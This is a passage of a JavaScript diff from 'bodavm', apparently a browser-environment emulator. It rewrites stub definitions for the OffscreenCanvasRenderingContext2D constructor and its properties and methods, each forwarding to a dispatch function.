"OffscreenCanvasRenderingContext2D", "transform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "translate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arcTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "beginPath", {configurable:true, enumerable:true, writable:true, value:function beginPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "beginPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "bezierCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clearRect", {configurable:true, enumerable:true, writable:true, value:function clearRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clearRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "closePath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "ellipse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillRect", {configurable:true, enumerable:true, writable:true, value:function fillRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineTo", {configurable:true, enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "moveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "quadraticCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "resetTransform", {configurable:true, enumerable:true, writable:true, value:function resetTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "resetTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "restore", {configurable:true, enumerable:true, writable:true, value:function restore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "restore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeRect", {configurable:true, enumerable:true, writable:true, value:function strokeRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeRect", arguments)}},'prototype'); +// OffscreenCanvasRenderingContext2D对象 + +bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'] = function OffscreenCanvasRenderingContext2D() { + console.log_copy('OffscreenCanvasRenderingContext2D 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OffscreenCanvasRenderingContext2D)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'], "OffscreenCanvasRenderingContext2D"); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalAlpha", { + configurable: true, + enumerable: true, + get: function globalAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_get", arguments); + }, + set: function globalAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalCompositeOperation", { + configurable: true, + enumerable: true, + get: function globalCompositeOperation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_get", arguments); + }, + set: function globalCompositeOperation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "filter", { + configurable: true, + enumerable: true, + get: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_get", arguments); + }, + set: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingEnabled", { + configurable: true, + enumerable: true, + get: function imageSmoothingEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments); + }, + set: function imageSmoothingEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingQuality", { + configurable: true, + enumerable: true, + get: function imageSmoothingQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_get", arguments); + }, + set: function imageSmoothingQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeStyle", { + configurable: true, + enumerable: true, + get: function strokeStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_get", arguments); + }, + set: function strokeStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillStyle", { + configurable: true, + enumerable: true, + get: function fillStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_get", arguments); + }, + set: function fillStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetX", { + configurable: true, + enumerable: true, + get: function shadowOffsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_get", arguments); + }, + set: function shadowOffsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetY", { + configurable: true, + enumerable: true, + get: function shadowOffsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_get", arguments); + }, + set: function shadowOffsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowBlur", { + configurable: true, + enumerable: true, + get: function shadowBlur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_get", arguments); + }, + set: function shadowBlur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowColor", { + configurable: true, + enumerable: true, + get: function shadowColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_get", arguments); + }, + set: function shadowColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineWidth", { + configurable: true, + enumerable: true, + get: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_get", arguments); + }, + set: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineCap", { + configurable: true, + enumerable: true, + get: function lineCap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_get", arguments); + }, + set: function lineCap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineJoin", { + configurable: true, + enumerable: true, + get: function lineJoin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_get", arguments); + }, + set: function lineJoin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "miterLimit", { + configurable: true, + enumerable: true, + get: function miterLimit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_get", arguments); + }, + set: function miterLimit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineDashOffset", { + configurable: true, + enumerable: true, + get: function lineDashOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_get", arguments); + }, + set: function lineDashOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "font", { + configurable: true, + enumerable: true, + get: function font() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_get", arguments); + }, + set: function font() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textAlign", { + configurable: true, + enumerable: true, + get: function textAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_get", arguments); + }, + set: function textAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textBaseline", { + configurable: true, + enumerable: true, + get: function textBaseline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_get", arguments); + }, + set: function textBaseline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_get", arguments); + }, + set: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontKerning", { + configurable: true, + enumerable: true, + get: function fontKerning() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_get", arguments); + }, + set: function fontKerning() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontStretch", { + configurable: true, + enumerable: true, + get: function fontStretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_get", arguments); + }, + set: function fontStretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontVariantCaps", { + configurable: true, + enumerable: true, + get: function fontVariantCaps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_get", arguments); + }, + set: function fontVariantCaps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "letterSpacing", { + configurable: true, + enumerable: true, + get: function letterSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_get", arguments); + }, + set: function letterSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textRendering", { + configurable: true, + enumerable: true, + get: function textRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_get", arguments); + }, + set: function textRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "wordSpacing", { + configurable: true, + enumerable: true, + get: function wordSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_get", arguments); + }, + set: function wordSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clip", { + configurable: true, + enumerable: true, + writable: true, + value: function clip() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clip", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createConicGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createConicGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createConicGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function createImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createLinearGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createLinearGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createLinearGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createPattern", { + configurable: true, + enumerable: true, + writable: true, + value: function createPattern() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createPattern", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createRadialGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createRadialGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createRadialGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "drawImage", { + configurable: true, + enumerable: true, + writable: true, + value: function drawImage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "drawImage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fill", { + configurable: true, + enumerable: true, + writable: true, + value: function fill() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fill", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillText", { + configurable: true, + enumerable: true, + writable: true, + value: function fillText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function getImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getLineDash", { + configurable: true, + enumerable: true, + writable: true, + value: function getLineDash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getLineDash", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isContextLost", { + configurable: true, + enumerable: true, + writable: true, + value: function isContextLost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isContextLost", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInPath", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInStroke", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInStroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInStroke", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "measureText", { + configurable: true, + enumerable: true, + writable: true, + value: function measureText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "measureText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "putImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function putImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "putImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "roundRect", { + configurable: true, + enumerable: true, + writable: true, + value: function roundRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "roundRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "save", { + configurable: true, + enumerable: true, + writable: true, + value: function save() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "save", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "scale", { + configurable: true, + enumerable: true, + writable: true, + value: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "scale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setLineDash", { + configurable: true, + enumerable: true, + writable: true, + value: function setLineDash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setLineDash", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function setTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "stroke", { + configurable: true, + enumerable: true, + writable: true, + value: function stroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "stroke", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeText", { + configurable: true, + enumerable: true, + writable: true, + value: function strokeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "transform", { + configurable: true, + enumerable: true, + writable: true, + value: function transform() { + return bodavm.toolsFunc.dispatch(this, 